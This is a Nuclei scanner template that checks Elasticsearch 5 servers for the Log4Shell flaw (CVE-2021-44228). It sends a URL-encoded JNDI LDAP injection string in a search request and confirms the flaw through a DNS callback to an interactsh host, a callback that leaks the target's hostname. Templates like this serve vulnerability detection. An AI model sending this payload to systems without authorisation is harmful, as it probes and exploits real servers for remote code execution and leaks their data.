id: elasticsearch5-log4j-rce

info:
  name: Elasticsearch 5 - Remote Code Execution (Apache Log4j)
  author: akincibor
  severity: critical
  description: |
    Elasticsearch 5 is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: elastic indices
    verified: true
  tags: jndi,log4j,rce,oast,elasticsearch,cve,cve2021,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-{{rand1}}%7D$%7B%3A-{{rand2}}%7D.$%7BhostName%7D.search.{{interactsh-url}}%7D HTTP/1.1
        Host: {{Hostname}}

        {

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "org.elasticsearch.transport"

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request